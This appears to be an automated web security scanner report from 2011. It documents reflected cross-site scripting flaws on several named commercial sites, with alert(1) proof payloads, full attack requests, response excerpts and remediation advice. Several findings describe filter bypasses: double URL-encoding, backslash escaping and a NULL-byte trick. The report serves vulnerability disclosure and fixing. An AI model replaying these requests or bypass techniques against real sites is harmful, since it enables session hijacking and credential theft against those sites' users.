Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the 3rd AMF string parameter is copied into the HTML document as plain text between tags. The payload 4027d<script>alert(1)</script>3fb7f03e572 was submitted in the 3rd AMF string parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload cd6d7<script>alert(1)</script>ebae82b665c was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /convert/Wynn;jsessionid=?m=sjJb9&id&f&l&e&p=false&t=0&o&isEngaged=false&v=2.4&callback=_callbacks_._0gt78ct94cd6d7<script>alert(1)</script>ebae82b665c HTTP/1.1 Host: cvt-wynn-001.convertglobal.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.wineexpress.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload 48fb5<script>alert(1)</script>f8fdbacb9e6 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
mboxFactories.get('default').get('CA Global Header Ribbon48fb5<script>alert(1)</script>f8fdbacb9e6',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1317390628254-815998.19");
The value of the hierdx request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 48ece'><img%20src%3da%20onerror%3dalert(1)>b4ff5514272 was submitted in the hierdx parameter. This input was echoed as 48ece'><img src=a onerror=alert(1)>b4ff5514272 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /?catalog=ESPORTS&ZZREFACT=&hiercd=&sitemid=&hierdx=48ece'><img%20src%3da%20onerror%3dalert(1)>b4ff5514272&WEBSRC=&flyercode=&keycode=&certID=&cartType=&email=&order=&zip=&keyword=&spage=&programID=&UN=&IREP=&OREP=&PW=&WM= HTTP/1.1 Host: my.shop.ssgecom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.esportsonline.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!-- This page was created by the SAP Integrated ITS, WebAS: PRD, workprocess: 4 All rights reserved. Creation time: Fri Sep 30 09:24:25 2011 Charset: iso-8859-1 Template: ZE ...[SNIP]... <a href='http://my.shop.ssgecom.com/site/esports/category_name/48ece'><img src=a onerror=alert(1)>b4ff5514272' onClick="window.open('http://www.esportsonline.com/ITS/static/disclaimer2.asp','disclaimer2','width=300,height=250')"> ...[SNIP]...
The value of the spage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2ed90%2522%253balert%25281%2529%252f%252f0ab6acf9ea1 was submitted in the spage parameter. This input was echoed as 2ed90";alert(1)//0ab6acf9ea1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the spage request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /?catalog=ESPORTS&ZZREFACT=&hiercd=&sitemid=&hierdx=&WEBSRC=&flyercode=&keycode=&certID=&cartType=&email=&order=&zip=&keyword=&spage=2ed90%2522%253balert%25281%2529%252f%252f0ab6acf9ea1&programID=&UN=&IREP=&OREP=&PW=&WM= HTTP/1.1 Host: my.shop.ssgecom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.esportsonline.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!-- This page was created by the SAP Integrated ITS, WebAS: PRD, workprocess: 0 All rights reserved. Creation time: Fri Sep 30 09:25:06 2011 Charset: iso-8859-1 Template: ZE ...[SNIP]... de = get_catalog(input_separator,input_delimiter,input_URL); //alert(get_okcode); if (get_okcode == "SERVICE"){ // then get the requested static page input_delimiter="spage="; var reqpage = "2ed90";alert(1)//0ab6acf9ea1" //parent.FRAME_2.location.href="http://shop.ssgecom.com/sap/public/bc/its/mimes/zesports/99/static/"+reqpage+".asp?customerNumber=&customerName=&contactName="; //parent.location.href="http://my ...[SNIP]...
The value of the spage request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57f6f'><img%20src%3da%20onerror%3dalert(1)>797a3c51fab was submitted in the spage parameter. This input was echoed as 57f6f'><img src=a onerror=alert(1)>797a3c51fab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /?catalog=ESPORTS&ZZREFACT=&hiercd=&sitemid=&hierdx=&WEBSRC=&flyercode=&keycode=&certID=&cartType=&email=&order=&zip=&keyword=&spage=57f6f'><img%20src%3da%20onerror%3dalert(1)>797a3c51fab&programID=&UN=&IREP=&OREP=&PW=&WM= HTTP/1.1 Host: my.shop.ssgecom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.esportsonline.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!-- This page was created by the SAP Integrated ITS, WebAS: PRD, workprocess: 0 All rights reserved. Creation time: Fri Sep 30 09:24:54 2011 Charset: iso-8859-1 Template: ZE ...[SNIP]... <a href='http://my.shop.ssgecom.com/site/esports/static/57f6f'><img src=a onerror=alert(1)>797a3c51fab' onClick="window.open('http://www.esportsonline.com/ITS/static/disclaimer2.asp','disclaimer2','width=300,height=250')"> ...[SNIP]...
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload b8900<script>alert(1)</script>80f7aa27131 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the typ request parameter is copied into the HTML document as plain text between tags. The payload d1cdf<script>alert(1)</script>fa02273a5e0 was submitted in the typ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /trax/hit/wineenthusiast/0/?bts=1317390625348&sid=&mid=&eid=&cid=&jid=&typ=d1cdf<script>alert(1)</script>fa02273a5e0&val=1&isa=&pag=http%3A//www.wineenthusiast.com/&ref=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D10%26c2%3D42&fup=0&new=1&nji=0&sts=1303122170&dis=1920x1200x16&plu=gcswf32%2C103183%3Bnpqtplugin%2C77%3Bnpqtplugin2%2C77%3Bnpqtplugin3%2C77%3Bnpqtplugin4%2C77%3Bnpqtplugin5%2C77%3Bnpqtplugin6%2C77%3Bnpqtplugin7%2C77%3BnpdeployJava1%2C602603%3Bnpjp2%2C16026%3Bnpctrl%2C40605310%3BNPAUTHZ%2C2010%3BNPSPWRAP%2C2010%3Binternal-remoting-viewer%2C%3BppGoogleNaClPluginChrome%2C%3Bpdf%2C%3Bnpgeplugin%2C%3BnpCIDetect14%2C%3BnpGoogleUpdate3%2C%3Bnpitunes%2C%3Bnpwpidetector%2C14%3Bdefault_plugin%2C&ath=1317390625276&atb=1317390625276&log=0.001%20-%20@%200.002%0A0.069%20-%20i.e%3A%20J%20%0A0.070%20-%20%3E%3E%20te%3A%20%3B%20%3B%20%3B%201 HTTP/1.1 Host: sp1.convertro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cvo_sid1=SPZW6FZWEK8X
The value of the typ request parameter is copied into the HTML document as plain text between tags. The payload ed7ae<script>alert(1)</script>da64da55ee3 was submitted in the typ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /trax/hit/wineenthusiast/1/?bts=1317390610397&sid=&mid=&eid=&cid=&jid=&typ=ed7ae<script>alert(1)</script>da64da55ee3&val=1&isa=&pag=http%3A//www.wineexpress.com/&ref=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D10%26c2%3D42&fup=0&new=1&nji=0&sts=1303122170&dis=1920x1200x16&plu=gcswf32%2C103183%3Bnpqtplugin%2C77%3Bnpqtplugin2%2C77%3Bnpqtplugin3%2C77%3Bnpqtplugin4%2C77%3Bnpqtplugin5%2C77%3Bnpqtplugin6%2C77%3Bnpqtplugin7%2C77%3BnpdeployJava1%2C602603%3Bnpjp2%2C16026%3Bnpctrl%2C40605310%3BNPAUTHZ%2C2010%3BNPSPWRAP%2C2010%3Binternal-remoting-viewer%2C%3BppGoogleNaClPluginChrome%2C%3Bpdf%2C%3Bnpgeplugin%2C%3BnpCIDetect14%2C%3BnpGoogleUpdate3%2C%3Bnpitunes%2C%3Bnpwpidetector%2C14%3Bdefault_plugin%2C&ath=1317390610389&atb=1317390610389&log=0.001%20-%20@%200.001%0A0.006%20-%20i.e%3A%20J%20%0A0.007%20-%20%3E%3E%20te%3A%20%3B%20%3B%20%3B%201 HTTP/1.1 Host: sp1.convertro.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cvo_sid1=SPZW6FZWEK8X
The value of the ckc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4266d"%3balert(1)//5ea28e2c812 was submitted in the ckc parameter. This input was echoed as 4266d";alert(1)//5ea28e2c812 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ckc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8439e\'%3balert(1)//73c4e1a6e9d was submitted in the ckc parameter. This input was echoed as 8439e\\';alert(1)//73c4e1a6e9d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of the ckc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2e99"><script>alert(1)</script>f46440a6244 was submitted in the ckc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the cp request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 35236'-alert(1)-'f5c47e1c87f was submitted in the cp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aid/4851320892863947163/bc.vms/vms.js?url=http%3A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http35236'-alert(1)-'f5c47e1c87f&cw=640&ch=480 HTTP/1.1 Host: vms.boldchat.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.bayoufitness.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM", policyref="http://my.boldchat.com/w3c/p3p.xml" X-Boldcenter-PageViewID: 9223371878586569804 X-Boldcenter-VisitID: 9223371959378469890 Set-Cookie: bc-visitor-id=4851320892863947163=8643616791963063189; domain=.boldchat.com; path=/; expires=Sat, 29-Sep-2012 14:25:53 GMT Set-Cookie: bc-visit-id=4851320892863947163=9223371959378469890; domain=.boldchat.com; path=/ Content-Type: text/javascript; charset="UTF-8" Connection: close Date: Fri, 30 Sep 2011 14:25:53 GMT Content-Length: 6217
var bt_pollEvery=function(polls, blur, polled){ return (blur ? 2 : 1) * (polls >= 60000 ? (polls >= 600000 ? (polls >= 3600000 ? (polls >= 14400000 ? (polls >= 43200000 ? 300 : 180) : 120) : 60) : 30) ...[SNIP]... ery='url=http%3A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http35236'-alert(1)-'f5c47e1c87f&cw=640&ch=480'; var bt_canInvite=true; var bt_accountID='4851320892863947163'; var bt_pageScheme='http://'; var bt_pollHost='vmp.boldchat.com'; var bt_websiteDefID=''; bt_addEvent(window, 'focus', fun ...[SNIP]...
1.14. http://vms.boldchat.com/aid/4851320892863947163/bc.vms/vms.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://vms.boldchat.com
Path:
/aid/4851320892863947163/bc.vms/vms.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97f69'-alert(1)-'dc1bb494145 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aid/4851320892863947163/bc.vms/vms.js?url=http%3A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480&97f69'-alert(1)-'dc1bb494145=1 HTTP/1.1 Host: vms.boldchat.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.bayoufitness.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM", policyref="http://my.boldchat.com/w3c/p3p.xml" X-Boldcenter-PageViewID: 9223371878586569809 X-Boldcenter-VisitID: 9223371959378469890 Set-Cookie: bc-visitor-id=4851320892863947163=8643616791963063189; domain=.boldchat.com; path=/; expires=Sat, 29-Sep-2012 14:25:53 GMT Set-Cookie: bc-visit-id=4851320892863947163=9223371959378469890; domain=.boldchat.com; path=/ Content-Type: text/javascript; charset="UTF-8" Connection: close Date: Fri, 30 Sep 2011 14:25:53 GMT Content-Length: 6220
var bt_pollEvery=function(polls, blur, polled){ return (blur ? 2 : 1) * (polls >= 60000 ? (polls >= 600000 ? (polls >= 3600000 ? (polls >= 14400000 ? (polls >= 43200000 ? 300 : 180) : 120) : 60) : 30) ...[SNIP]... A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480&97f69'-alert(1)-'dc1bb494145=1'; var bt_canInvite=true; var bt_accountID='4851320892863947163'; var bt_pageScheme='http://'; var bt_pollHost='vmp.boldchat.com'; var bt_websiteDefID=''; bt_addEvent(window, 'focus', function(){
The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf6ad'-alert(1)-'3660b5b81e6 was submitted in the referrer parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aid/4851320892863947163/bc.vms/vms.js?url=http%3A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68bf6ad'-alert(1)-'3660b5b81e6&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480 HTTP/1.1 Host: vms.boldchat.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.bayoufitness.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM", policyref="http://my.boldchat.com/w3c/p3p.xml" X-Boldcenter-PageViewID: 9223371878586569799 X-Boldcenter-VisitID: 9223371959378469890 Set-Cookie: bc-visitor-id=4851320892863947163=8643616791963063189; domain=.boldchat.com; path=/; expires=Sat, 29-Sep-2012 14:25:52 GMT Set-Cookie: bc-visit-id=4851320892863947163=9223371959378469890; domain=.boldchat.com; path=/ Content-Type: text/javascript; charset="UTF-8" Connection: close Date: Fri, 30 Sep 2011 14:25:52 GMT Content-Length: 6217
var bt_pollEvery=function(polls, blur, polled){ return (blur ? 2 : 1) * (polls >= 60000 ? (polls >= 600000 ? (polls >= 3600000 ? (polls >= 14400000 ? (polls >= 43200000 ? 300 : 180) : 120) : 60) : 30) ...[SNIP]... ID='9223371878586569799'; var bt_hadReferrer=true; var bt_query='url=http%3A//www.bayoufitness.com/&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68bf6ad'-alert(1)-'3660b5b81e6&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480'; var bt_canInvite=true; var bt_accountID='4851320892863947163'; var bt_pageScheme='http://'; var bt_pollHost='vmp.boldchat.co ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6d37'-alert(1)-'014bfbd25fd was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /aid/4851320892863947163/bc.vms/vms.js?url=http%3A//www.bayoufitness.com/b6d37'-alert(1)-'014bfbd25fd&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480 HTTP/1.1 Host: vms.boldchat.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.bayoufitness.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Resin/2.1.17 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM", policyref="http://my.boldchat.com/w3c/p3p.xml" X-Boldcenter-PageViewID: 9223371878586569794 X-Boldcenter-VisitID: 9223371959378469890 Set-Cookie: bc-visitor-id=4851320892863947163=8643616791963063189; domain=.boldchat.com; path=/; expires=Sat, 29-Sep-2012 14:25:51 GMT Set-Cookie: bc-visit-id=4851320892863947163=9223371959378469890; domain=.boldchat.com; path=/ Content-Type: text/javascript; charset="UTF-8" Connection: close Date: Fri, 30 Sep 2011 14:25:51 GMT Content-Length: 6217
var bt_pollEvery=function(polls, blur, polled){ return (blur ? 2 : 1) * (polls >= 60000 ? (polls >= 600000 ? (polls >= 3600000 ? (polls >= 14400000 ? (polls >= 43200000 ? 300 : 180) : 120) : 60) : 30) ...[SNIP]... }; }; }; var bt_visitorID='8643616791963063189'; var bt_visitID='9223371959378469890'; var bt_pageViewID='9223371878586569794'; var bt_hadReferrer=true; var bt_query='url=http%3A//www.bayoufitness.com/b6d37'-alert(1)-'014bfbd25fd&referrer=http%3A//www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp%3Fc1%3D66%26c2%3D68&cidid=7612413275609366566&cwdid=6520389440406690523&cp=http&cw=640&ch=480'; var bt_canInvite=true; ...[SNIP]...
The value of the msg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0017b72"><script>alert(1)</script>15f1f7c3bbd was submitted in the msg parameter. This input was echoed as 17b72"><script>alert(1)</script>15f1f7c3bbd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Bounty Hunter R ...[SNIP]... <input type="hidden" name="return_url" value="http://www.bountyhunterwine.com/message.asp?msg=SQLI%0017b72"><script>alert(1)</script>15f1f7c3bbd"> ...[SNIP]...
1.18. http://www.bountyhunterwine.com/message.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bountyhunterwine.com
Path:
/message.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00e9a49"><script>alert(1)</script>d48d813cc34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e9a49"><script>alert(1)</script>d48d813cc34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Bounty Hunter R ...[SNIP]... <input type="hidden" name="return_url" value="http://www.bountyhunterwine.com/message.asp?msg=SQLI&%00e9a49"><script>alert(1)</script>d48d813cc34=1"> ...[SNIP]...
1.19. http://www.bountyhunterwine.com/viewcart.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bountyhunterwine.com
Path:
/viewcart.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %003cb6f"><script>alert(1)</script>ff8324c4d92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3cb6f"><script>alert(1)</script>ff8324c4d92 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
1.20. http://www.charlottes-saddlery.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.charlottes-saddlery.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload bcfc8<script>alert(1)</script>483939ae55c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
